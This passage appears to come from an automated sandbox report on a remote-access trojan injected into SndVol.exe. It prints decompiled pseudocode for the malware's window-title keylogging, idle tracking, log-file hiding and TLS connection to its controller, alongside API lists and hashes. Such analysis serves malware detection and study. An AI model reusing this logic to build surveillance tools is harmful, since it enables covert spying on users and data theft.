                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Sleep$ErrorLastLocalTime
                                    • String ID: | $%I64u$4.9.1 Pro$8SG$C:\Windows\SysWOW64\SndVol.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$PSG$TLS Off$TLS On $dMG$hlight$name$Cgt$NG$NG$PG$PG$PG
                                    • API String ID: 524882891-2080159157
                                    • Opcode ID: 3138ee13ee45b9a12c0a49a3ec6c54a885a75ba12a41e14e4ed64480f0ff6483
                                    • Instruction ID: 1d15e9f2fb8a05cc4909b6841e2d417555108da00f2dfed56739b1baa646d41d
                                    • Opcode Fuzzy Hash: 3138ee13ee45b9a12c0a49a3ec6c54a885a75ba12a41e14e4ed64480f0ff6483
                                    • Instruction Fuzzy Hash: D1526B31A001159ACB18F732DD96AFEB3759F90348F5041BFE40A761E2EF781E858A9D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040AC24 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 156sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 89%
                                    			E0040AC24(void* __ecx, void* __edx) {
				char _v28;
				char _v56;
				char _v76;
				char _v80;
				char _v100;
				void* _v104;
				char _v108;
				char _v112;
				struct HWND__* _v116;
				void* __ebx;
				void* __edi;
				void* __ebp;
				struct HWND__* _t35;
				int _t36;
				struct HWND__* _t42;
				void* _t50;
				int _t57;
				struct HWND__* _t77;
				void* _t119;
				void* _t125;
				signed int _t126;
				void* _t128;

				_t112 = __edx;
				_t128 = (_t126 & 0xfffffff8) - 0x74;
				_push(_t77);
				_push(0xea60);
				_t119 = __ecx;
				while( *((char*)(_t119 + 0x49)) != 0 ||  *((char*)(_t119 + 0x4a)) != 0) {
					Sleep(0x1f4); // executed
					_t35 = GetForegroundWindow(); // executed
					_t77 = _t35;
					_t36 = GetWindowTextLengthW(_t77);
					_t4 = _t36 + 1; // 0x1
					E0040B852(_t77,  &_v100, _t112, _t119, _t125, _t4, 0);
					if(_t36 != 0) {
						_t57 = E0040247C();
						GetWindowTextW(_t77, E00401F04( &_v100), _t57);
						_t112 = 0x476ce4;
						if(E0040B91A(0x476ce4) == 0) {
							E0040B83A(0x476ce4,  &_v100);
							E00409044(E0040247C() - 1);
							_t128 = _t128 - 0x18;
							_t137 =  *0x47513b;
							if( *0x47513b == 0) {
								_t112 = E0040B8CA( &_v76, L"\r\n[", _t125,  &_v108);
								E00403014(_t77, _t128, _t67, _t119, _t125, __eflags, L"]\r\n");
								E0040A584(_t119);
								E00401F09();
							} else {
								E0040905C(_t77, _t128, 0x476ce4, _t137,  &_v108);
								E0040B0B2(_t77, _t119, _t137);
							}
						}
					}
					_t83 = _t119;
					E0040B696(_t119);
					if(E0041BA38(_t119) < 0xea60) {
						L18:
						E00401F09();
						continue;
					} else {
						_t77 = _v116;
						while( *((char*)(_t119 + 0x49)) != 0 ||  *((char*)(_t119 + 0x4a)) != 0) {
							_t42 = E0041BA38(_t83);
							if(_t42 < 0xea60) {
								__eflags = _t77 % 0xea60;
								E00441DD1(_t83, _t77 / 0xea60,  &_v112, 0xa);
								_t50 = E00406383(_t77,  &_v80, E004052FD(_t77,  &_v56, "\r\n{ User has been idle for ", _t125, __eflags, E00402093(_t77,  &_v28, _t77 % 0xea60, _t125,  &_v112)), _t119, _t125, __eflags, " minutes }\r\n");
								_t128 = _t128 + 0xc - 0x14;
								_t112 = _t50;
								E0041BBB0(_t128, _t50);
								E0040A584(_t119);
								E00401FD8();
								E00401FD8();
								E00401FD8();
								goto L18;
							}
							_t77 = _t42;
							_v116 = _t77;
							Sleep(0x3e8);
						}
						E00401F09();
						break;
					}
				}
				__eflags = 0;
				return 0;
			}

























                                    0x0040ac24
                                    0x0040ac2a
                                    0x0040ac2d
                                    0x0040ac2e
                                    0x0040ac30
                                    0x0040ac32
                                    0x0040ac91
                                    0x0040ac97
                                    0x0040ac9d
                                    0x0040aca0
                                    0x0040acaa
                                    0x0040acb2
                                    0x0040acb9
                                    0x0040acc3
                                    0x0040acd4
                                    0x0040acda
                                    0x0040acea
                                    0x0040acf6
                                    0x0040ad0a
                                    0x0040ad0f
                                    0x0040ad16
                                    0x0040ad1d
                                    0x0040ad47
                                    0x0040ad4b
                                    0x0040ad53
                                    0x0040ad5c
                                    0x0040ad1f
                                    0x0040ad22
                                    0x0040ad29
                                    0x0040ad29
                                    0x0040ad1d
                                    0x0040acea
                                    0x0040ad61
                                    0x0040ad63
                                    0x0040ad74
                                    0x0040ae1c
                                    0x0040ae20
                                    0x00000000
                                    0x0040ad7a
                                    0x0040ad7a
                                    0x0040ad7e
                                    0x0040ad8e
                                    0x0040ad95
                                    0x0040adb5
                                    0x0040adb8
                                    0x0040ade9
                                    0x0040adee
                                    0x0040adf1
                                    0x0040adf5
                                    0x0040adfc
                                    0x0040ae05
                                    0x0040ae0e
                                    0x0040ae17
                                    0x00000000
                                    0x0040ae17
                                    0x0040ad97
                                    0x0040ad9e
                                    0x0040ada2
                                    0x0040ada2
                                    0x0040ae2e
                                    0x00000000
                                    0x0040ae2e
                                    0x0040ad74
                                    0x0040ae35
                                    0x0040ae3b

                                    APIs
                                    • __Init_thread_footer.LIBCMT ref: 0040AC86
                                    • Sleep.KERNEL32(000001F4), ref: 0040AC91
                                    • GetForegroundWindow.USER32 ref: 0040AC97
                                    • GetWindowTextLengthW.USER32(00000000), ref: 0040ACA0
                                    • GetWindowTextW.USER32 ref: 0040ACD4
                                    • Sleep.KERNEL32(000003E8), ref: 0040ADA2
                                      • Part of subcall function 0040A584: SetEvent.KERNEL32(?,?,?,0040B77D,?,?,?,?,?,00000000), ref: 0040A5B0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                    • String ID: [${ User has been idle for $ minutes }$]$lG$lG$lG
                                    • API String ID: 911427763-790354841
                                    • Opcode ID: 7ae345d1214a403a80a100c6b1eaf764cb0b61faa5f0b8a40d05dea8b8e569e6
                                    • Instruction ID: 7cf5611a900c64a711db059a38e014365c4ea674ee6133f26f3aa0a46915a8c7
                                    • Opcode Fuzzy Hash: 7ae345d1214a403a80a100c6b1eaf764cb0b61faa5f0b8a40d05dea8b8e569e6
                                    • Instruction Fuzzy Hash: 5A51A0316043409BD314FB31D856AAE77A6AF84308F40093FF486A22E2EF7C9D55869F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A674 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 97%
                                    			E0040A674(void* __ecx, char* __edx) {
				char _v1028;
				char _v1040;
				char _v1064;
				char _v1076;
				void* _v1088;
				void* _v1092;
				char _v1100;
				char _v1124;
				void* _v1132;
				char _v1136;
				void* _v1148;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t32;
				char* _t34;
				void* _t36;
				int _t40;
				void* _t47;
				int _t62;
				void* _t64;
				void* _t70;
				void* _t71;
				void* _t79;
				void* _t134;
				signed int _t136;
				signed int _t139;

				_t126 = __edx;
				_t139 = _t136 & 0xfffffff8;
				_t79 = __ecx;
				_push(_t130);
				_t134 = __ecx + 4;
				do {
					Sleep(0x1388); // executed
					E0040A5C3(_t79, _t126);
					_t126 = 0x466468;
					if(E004077B7(_t139) != 0) {
						if(E00406B28() == 0) {
							CreateDirectoryW(E00401F04(0x475170), 0); // executed
						}
						_t128 = _t79 + 0x68;
						_t32 = GetFileAttributesW(E00401F04(_t79 + 0x68)); // executed
						_t142 = _t32 & 0x00000002;
						if((_t32 & 0x00000002) != 0) {
							SetFileAttributesW(E00401F04(_t128), 0x80); // executed
						}
						_t34 = E00401FAB(E00401E65(0x4750e4, _t126, _t134, _t142, 0x12));
						_t143 =  *_t34;
						if( *_t34 != 0) {
							E004020DF(_t79,  &_v1124);
							_t36 = E0040247C();
							E00406CB7( &_v1028, E00401FAB(0x475338), _t36);
							_t40 = PathFileExistsW(E00401F04(_t128));
							__eflags = _t40;
							if(_t40 != 0) {
								E004020DF(_t79,  &_v1100);
								E00401F04(_t128);
								_t126 =  &_v1100;
								_t62 = E0041C3D7( &_v1100);
								__eflags = _t62;
								if(_t62 != 0) {
									_t64 = E0040247C();
									E00401FE2( &_v1136,  &_v1100, _t130, E00406DD8(_t79,  &_v1028,  &_v1100,  &_v1076, E00401FAB( &_v1100), _t64));
									E00401FD8();
								}
								E00401FD8();
							}
							__eflags = E0040247C() + _t41;
							L00403376(E004020B7(_t79,  &_v1076, _t126, _t134, __eflags, E00401F04(_t134), E0040247C() + _t41));
							E00401FD8();
							_t47 = E0040247C();
							E00406DD8(_t79,  &_v1040, _t126,  &_v1064, E00401FAB( &_v1136), _t47);
							_t126 = E00401F04(_t128);
							E0041C444( &_v1076, _t51);
							E00401FD8();
							E00401FD8();
						} else {
							_t70 = E00401F04(_t128);
							_t71 = E0040247C();
							_t132 = _t71;
							_t130 = _t71 + _t132;
							E00401F04(_t134);
							_t126 = _t71 + _t132;
							E0041C343(_t71 + _t132, _t70, 1);
						}
						L00409057(_t79, _t134, _t126, 0x466468);
						if( *((char*)(E00401FAB(E00401E65(0x4750e4, _t126, _t134, _t143, 0x13)))) != 0) {
							SetFileAttributesW(E00401F04(_t128), 6);
						}
					}
				} while ( *((char*)(_t79 + 0x49)) != 0);
				return 0;
			}






























                                    0x0040a674
                                    0x0040a677
                                    0x0040a682
                                    0x0040a684
                                    0x0040a686
                                    0x0040a689
                                    0x0040a68e
                                    0x0040a696
                                    0x0040a69b
                                    0x0040a6a9
                                    0x0040a6bb
                                    0x0040a6ca
                                    0x0040a6ca
                                    0x0040a6d0
                                    0x0040a6db
                                    0x0040a6e1
                                    0x0040a6e3
                                    0x0040a6f2
                                    0x0040a6f2
                                    0x0040a706
                                    0x0040a70b
                                    0x0040a70e
                                    0x0040a740
                                    0x0040a74a
                                    0x0040a75f
                                    0x0040a76c
                                    0x0040a772
                                    0x0040a774
                                    0x0040a77a
                                    0x0040a781
                                    0x0040a786
                                    0x0040a78c
                                    0x0040a791
                                    0x0040a793
                                    0x0040a799
                                    0x0040a7bc
                                    0x0040a7c5
                                    0x0040a7c5
                                    0x0040a7ce
                                    0x0040a7ce
                                    0x0040a7da
                                    0x0040a7f3
                                    0x0040a7fc
                                    0x0040a805
                                    0x0040a81e
                                    0x0040a82a
                                    0x0040a830
                                    0x0040a839
                                    0x0040a842
                                    0x0040a710
                                    0x0040a714
                                    0x0040a71c
                                    0x0040a721
                                    0x0040a725
                                    0x0040a727
                                    0x0040a72c
                                    0x0040a730
                                    0x0040a736
                                    0x0040a84e
                                    0x0040a869
                                    0x0040a875
                                    0x0040a875
                                    0x0040a869
                                    0x0040a87b
                                    0x0040a88e

                                    APIs
                                    • Sleep.KERNEL32(00001388), ref: 0040A68E
                                      • Part of subcall function 0040A5C3: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A69B), ref: 0040A5F9
                                      • Part of subcall function 0040A5C3: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A69B), ref: 0040A608
                                      • Part of subcall function 0040A5C3: Sleep.KERNEL32(00002710,?,?,?,0040A69B), ref: 0040A635
                                      • Part of subcall function 0040A5C3: CloseHandle.KERNEL32(00000000,?,?,?,0040A69B), ref: 0040A63C
                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A6CA
                                    • GetFileAttributesW.KERNEL32(00000000), ref: 0040A6DB
                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A6F2
                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 0040A76C
                                      • Part of subcall function 0041C3D7: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0040A791), ref: 0041C3F0
                                    • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A875
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                    • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                    • API String ID: 3795512280-1152054767
                                    • Opcode ID: 36234ed44b86bcbcadf35408f5781a2d72c206178262cc9cc96987dd95dd379f
                                    • Instruction ID: d21c1a4ad9d5dbacf29e8d54eaefcffcadfc984805b46efc2bb63dc74cf1226f
                                    • Opcode Fuzzy Hash: 36234ed44b86bcbcadf35408f5781a2d72c206178262cc9cc96987dd95dd379f
                                    • Instruction Fuzzy Hash: 9E516F716043055ACB05BB32C866ABE77AA5F80349F40493FF642B71E2DF7C9909865E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1103 4048c8-4048e8 connect 1104 404a1b-404a1f 1103->1104 1105 4048ee-4048f1 1103->1105 1108 404a21-404a2f WSAGetLastError 1104->1108 1109 404a97 1104->1109 1106 404a17-404a19 1105->1106 1107 4048f7-4048fa 1105->1107 1110 404a99-404a9e 1106->1110 1111 404926-404930 call 420bb2 1107->1111 1112 4048fc-404923 call 40531e call 402093 call 41b441 1107->1112 1108->1109 1113 404a31-404a34 1108->1113 1109->1110 1122 404941-40494e call 420de1 1111->1122 1123 404932-40493c 1111->1123 1112->1111 1115 404a71-404a76 1113->1115 1116 404a36-404a6f call 41ca33 call 4052fd call 402093 call 41b441 call 401fd8 1113->1116 1118 404a7b-404a94 call 402093 * 2 call 41b441 1115->1118 1116->1109 1118->1109 1135 404950-404973 call 402093 * 2 call 41b441 1122->1135 1136 404987-404992 call 421992 1122->1136 1123->1118 1165 404976-404982 call 420bf2 1135->1165 1148 4049c4-4049d1 call 420d58 1136->1148 1149 404994-4049c2 call 402093 * 2 call 41b441 call 421004 1136->1149 1162 4049d3-4049f6 call 402093 * 2 call 41b441 1148->1162 1163 4049f9-404a14 CreateEventW * 2 1148->1163 1149->1165 1162->1163 1163->1106 1165->1109
                                    C-Code - Quality: 72%
                                    			E004048C8(void* __ecx, void* __esi) {
				char _v32;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr _t21;
				int _t22;
				void* _t26;
				signed int _t31;
				void* _t32;
				void* _t33;
				struct _SECURITY_ATTRIBUTES* _t34;
				void* _t43;
				void* _t51;
				struct _SECURITY_ATTRIBUTES* _t56;
				void* _t58;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t86;
				void* _t87;
				void* _t103;
				void* _t104;

				_t84 = __esi;
				_t21 =  *0x472adc; // 0x804538
				_t87 = _t86 - 0x1c;
				_t82 = __ecx;
				__imp__#4( *((intOrPtr*)(__ecx + 4)),  *((intOrPtr*)(_t21 + 0x18)),  *((intOrPtr*)(_t21 + 0x10)), _t81, _t51); // executed
				if(_t21 != 0) {
					__eflags =  *((char*)(__ecx + 0x31));
					if( *((char*)(__ecx + 0x31)) != 0) {
						__imp__#111();
						_t56 = _t21 - 0x2736;
						__eflags = _t56;
						if(_t56 != 0) {
							__eflags = _t56 == 0x17;
							if(_t56 == 0x17) {
								_t88 = _t87 - 0x18;
								_t58 = _t87 - 0x18;
								_push("Connection Refused");
								goto L20;
							} else {
								_t26 = E0041CA33( &_v32, _t21);
								_t91 = _t87 - 0x18;
								E004052FD(_t51, _t87 - 0x18, "Connection Failed: ", _t85, __eflags, _t26);
								E00402093(_t51, _t91 - 0x14, "Connection Failed: ", _t85, "E");
								E0041B441(_t51, _t82);
								E00401FD8();
							}
						}
					}
					goto L21;
				} else {
					if( *((intOrPtr*)(__ecx + 1)) == _t21) {
						L14:
						_t22 = 1;
					} else {
						if( *((intOrPtr*)(__ecx + 0x31)) != _t21) {
							_t103 = _t87 - 0x18;
							_t6 = _t82 + 0x34; // 0x474f2c
							_t77 = "TLS Handshake...      | ";
							E0040531E(_t103, "TLS Handshake...      | ", _t85, _t6);
							_t104 = _t103 - 0x14;
							E00402093(_t51, _t104, "TLS Handshake...      | ", _t85, "i");
							E0041B441(_t51, _t82);
							_t87 = _t104 + 0x30;
						}
						_t31 = E00420BB2(_t51);
						 *(_t82 + 0x4c) = _t31;
						if(_t31 != 0) {
							_t80 =  *((intOrPtr*)(_t82 + 4));
							_t32 = E00420DE1(_t31,  *((intOrPtr*)(_t82 + 4)));
							__eflags = _t32 - 1;
							if(_t32 == 1) {
								_t33 = E00421992();
								__eflags = _t33 - 1;
								if(_t33 == 1) {
									_t34 = E00420D58(_t51);
									 *((intOrPtr*)(_t82 + 0x50)) = _t34;
									__eflags = _t34;
									if(_t34 == 0) {
										_t94 = _t87 - 0x18;
										E00402093(_t51, _t87 - 0x18, _t80, _t85, "TLS Error 3");
										E00402093(_t51, _t94 - 0x18, _t80, _t85, "E");
										E0041B441(_t51, _t82);
									}
									__eflags = 0;
									 *((intOrPtr*)(_t82 + 0x70)) = CreateEventW(0, 0, 1, 0);
									 *((intOrPtr*)(_t82 + 0x6c)) = CreateEventW(0, 0, 1, 0);
									goto L14;
								} else {
									_t97 = _t87 - 0x18;
									E00402093(_t51, _t87 - 0x18, _t80, _t85, "TLS Authentication Failed");
									E00402093(_t51, _t97 - 0x18, _t80, _t85, "E");
									_t43 = E00421004(E0041B441(_t51, _t82),  *(_t82 + 0x4c));
									goto L8;
								}
							} else {
								_t100 = _t87 - 0x18;
								E00402093(_t51, _t87 - 0x18, _t80, _t85, "TLS Error 2");
								E00402093(_t51, _t100 - 0x18, _t80, _t85, "E");
								_t43 = E0041B441(_t51, _t82);
								L8:
								E00420BF2(_t43, _t51,  *(_t82 + 0x4c), _t80, _t82, _t84);
								 *(_t82 + 0x4c) =  *(_t82 + 0x4c) & 0x00000000;
								goto L21;
							}
						} else {
							_t88 = _t87 - 0x18;
							_t58 = _t87 - 0x18;
							_push("TLS Error 1");
							L20:
							E00402093(_t51, _t58, _t77, _t85);
							E00402093(_t51, _t88 - 0x18, _t77, _t85, "E");
							E0041B441(_t51, _t82);
							L21:
							_t22 = 0;
						}
					}
				}
				return _t22;
			}


























                                    0x004048c8
                                    0x004048cb
                                    0x004048d0
                                    0x004048d8
                                    0x004048e0
                                    0x004048e8
                                    0x00404a1b
                                    0x00404a1f
                                    0x00404a21
                                    0x00404a29
                                    0x00404a29
                                    0x00404a2f
                                    0x00404a31
                                    0x00404a34
                                    0x00404a71
                                    0x00404a74
                                    0x00404a76
                                    0x00000000
                                    0x00404a36
                                    0x00404a3b
                                    0x00404a40
                                    0x00404a4b
                                    0x00404a5a
                                    0x00404a5f
                                    0x00404a6a
                                    0x00404a6a
                                    0x00404a34
                                    0x00404a2f
                                    0x00000000
                                    0x004048ee
                                    0x004048f1
                                    0x00404a17
                                    0x00404a17
                                    0x004048f7
                                    0x004048fa
                                    0x004048fc
                                    0x004048ff
                                    0x00404904
                                    0x0040490a
                                    0x0040490f
                                    0x00404919
                                    0x0040491e
                                    0x00404923
                                    0x00404923
                                    0x00404926
                                    0x0040492b
                                    0x00404930
                                    0x00404941
                                    0x00404946
                                    0x0040494b
                                    0x0040494e
                                    0x0040498a
                                    0x0040498f
                                    0x00404992
                                    0x004049c7
                                    0x004049cc
                                    0x004049cf
                                    0x004049d1
                                    0x004049d3
                                    0x004049dd
                                    0x004049ec
                                    0x004049f1
                                    0x004049f6
                                    0x004049f9
                                    0x00404a0b
                                    0x00404a14
                                    0x00000000
                                    0x00404994
                                    0x00404994
                                    0x0040499e
                                    0x004049ad
                                    0x004049bd
                                    0x00000000
                                    0x004049bd
                                    0x00404950
                                    0x00404950
                                    0x0040495a
                                    0x00404969
                                    0x0040496e
                                    0x00404976
                                    0x00404979
                                    0x0040497e
                                    0x00000000
                                    0x0040497e
                                    0x00404932
                                    0x00404932
                                    0x00404935
                                    0x00404937
                                    0x00404a7b
                                    0x00404a7b
                                    0x00404a8a
                                    0x00404a8f
                                    0x00404a97
                                    0x00404a97
                                    0x00404a97
                                    0x00404930
                                    0x004048f1
                                    0x00404a9e

                                    APIs
                                    • connect.WS2_32(?,?,?), ref: 004048E0
                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                    • WSAGetLastError.WS2_32 ref: 00404A21
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                    • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                    • API String ID: 994465650-2151626615
                                    • Opcode ID: e47833db9cf5191432855deaaa225b779540a8b31c2be97f0de3ff90cce84e7a
                                    • Instruction ID: 376bed4157b9ee30ee355af156f49a37fc133598388a9326ebebeedf0f8bf016
                                    • Opcode Fuzzy Hash: e47833db9cf5191432855deaaa225b779540a8b31c2be97f0de3ff90cce84e7a
                                    • Instruction Fuzzy Hash: 5841E8B47406116BC61477BB891B53E7A15EB81308B90417FE60167AD3EA7DAC208BEF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 92%
                                    			E00404E26(void* __edx) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t29;
				int _t32;
				void* _t44;
				void* _t48;
				void* _t50;
				void* _t51;

				_t48 = __edx;
				_t51 = WaitForSingleObject;
				_t50 = _t44;
				_t29 = WaitForSingleObject( *(_t50 + 0x68), 0xffffffff);
				if( *(_t50 + 4) != 0xffffffff) {
					__imp__#3( *(_t50 + 4));
					if(_t29 == 0) {
						 *(_t50 + 4) =  *(_t50 + 4) | 0xffffffff;
					}
					_t45 = _t50;
					if(E004046F3(_t50) != 0) {
						E004050E4(_t45, _t51, 1);
					}
					if( *((char*)(_t50 + 1)) != 0) {
						E00420BF2(WaitForSingleObject( *(_t50 + 0x70), 0xffffffff), CloseHandle,  *(_t50 + 0x50), _t48, SetEvent, _t50);
						 *(_t50 + 0x50) =  *(_t50 + 0x50) & 0x00000000;
						SetEvent( *(_t50 + 0x70));
						E00420BF2(WaitForSingleObject( *(_t50 + 0x6c), 0xffffffff), CloseHandle,  *(_t50 + 0x4c), _t48, SetEvent, _t50);
						 *(_t50 + 0x4c) =  *(_t50 + 0x4c) & 0x00000000;
						SetEvent( *(_t50 + 0x6c));
						CloseHandle( *(_t50 + 0x70));
						CloseHandle( *(_t50 + 0x6c));
						 *(_t50 + 0x70) =  *(_t50 + 0x70) & 0x00000000;
						 *(_t50 + 0x6c) =  *(_t50 + 0x6c) & 0x00000000;
					}
					SetEvent( *(_t50 + 0x68));
					_t32 = FindCloseChangeNotification( *(_t50 + 0x68)); // executed
				} else {
					SetEvent( *(_t50 + 0x68));
					_t32 = FindCloseChangeNotification( *(_t50 + 0x68)); // executed
				}
				 *(_t50 + 0x68) =  *(_t50 + 0x68) & 0x00000000;
				return _t32;
			}














                                    0x00404e26
                                    0x00404e29
                                    0x00404e31
                                    0x00404e38
                                    0x00404e3e
                                    0x00404e5a
                                    0x00404e62
                                    0x00404e64
                                    0x00404e64
                                    0x00404e68
                                    0x00404e71
                                    0x00404e75
                                    0x00404e75
                                    0x00404e8a
                                    0x00404e96
                                    0x00404e9e
                                    0x00404ea2
                                    0x00404eae
                                    0x00404eb6
                                    0x00404eba
                                    0x00404ebf
                                    0x00404ec4
                                    0x00404ec6
                                    0x00404eca
                                    0x00404eca
                                    0x00404ed1
                                    0x00404ed6
                                    0x00404e40
                                    0x00404e43
                                    0x00404e4c
                                    0x00404e4c
                                    0x00404ed8
                                    0x00404ee1

                                    APIs
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                    • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                    • FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E4C
                                    • closesocket.WS2_32(000000FF), ref: 00404E5A
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBF
                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EC4
                                    • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                                    • FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED6
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEvent$ObjectSingleWait$ChangeFindHandleNotification$closesocket
                                    • String ID:
                                    • API String ID: 4074944092-0
                                    • Opcode ID: af4e90cd82d6c3b612a2842410e1874608a6718f4fd016057a5399756cc174a8
                                    • Instruction ID: bf0a74e30454f9aa36f9f52abf3f177dde1afa9236acabb7276c6dbb5dfc0ff2
                                    • Opcode Fuzzy Hash: af4e90cd82d6c3b612a2842410e1874608a6718f4fd016057a5399756cc174a8
                                    • Instruction Fuzzy Hash: 13210931140B14AFDB316B26DC49A17BBA1FF40326F104A2DE2E211AF1CB75A811DB58
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040D982 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1195 40d982-40d9a7 call 401f86 1198 40dad1-40daf7 call 401f04 GetLongPathNameW call 40417e 1195->1198 1199 40d9ad 1195->1199 1225 40dafc-40db69 call 40417e call 40dd1f call 402fa5 * 2 call 401f09 * 5 1198->1225 1200 40d9f3-40d9fa call 41bf09 1199->1200 1201 40d9b4-40d9b9 1199->1201 1202 40daa6-40daab 1199->1202 1203 40d9e9-40d9ee 1199->1203 1204 40dabc 1199->1204 1205 40daad-40daba call 43c01f 1199->1205 1206 40d9be-40d9cc call 41b506 call 401f13 1199->1206 1207 40d9df-40d9e4 1199->1207 1208 40da9f-40daa4 1199->1208 1220 40d9fc-40da4c call 40417e call 43c01f call 40417e call 402fa5 call 401f13 call 401f09 * 2 1200->1220 1221 40da4e-40da9a call 40417e call 43c01f call 40417e call 402fa5 call 401f13 call 401f09 * 2 1200->1221 1211 40dac1-40dac6 call 43c01f 1201->1211 1202->1211 1203->1211 1204->1211 1205->1204 1222 40dac7-40dacc call 409057 1205->1222 1229 40d9d1 1206->1229 1207->1211 1208->1211 1211->1222 1234 40d9d5-40d9da call 401f09 1220->1234 1221->1229 1222->1198 1229->1234 1234->1198
                                    C-Code - Quality: 86%
                                    			E0040D982(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v524;
				char _v544;
				char _v560;
				char _v572;
				void* _v576;
				char _v580;
				char _v584;
				char _v600;
				char _v608;
				char _v616;
				char _v620;
				void* _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v644;
				void* _v648;
				char _v652;
				void* _v672;
				void* __ebx;
				void* __ebp;
				signed int _t36;
				void* _t39;
				void* _t40;
				void* _t77;
				void* _t82;

				_t73 = __edx;
				_t77 = __ecx;
				_t54 = __edx;
				E00401F86(__edx,  &_v644);
				_t36 = __edx + 0xffffffd0;
				_t86 = _t36 - 8;
				if(_t36 <= 8) {
					switch( *((intOrPtr*)(_t36 * 4 +  &M0040DB6A))) {
						case 0:
							_push(L"Temp");
							goto L15;
						case 1:
							__ecx =  &_v620;
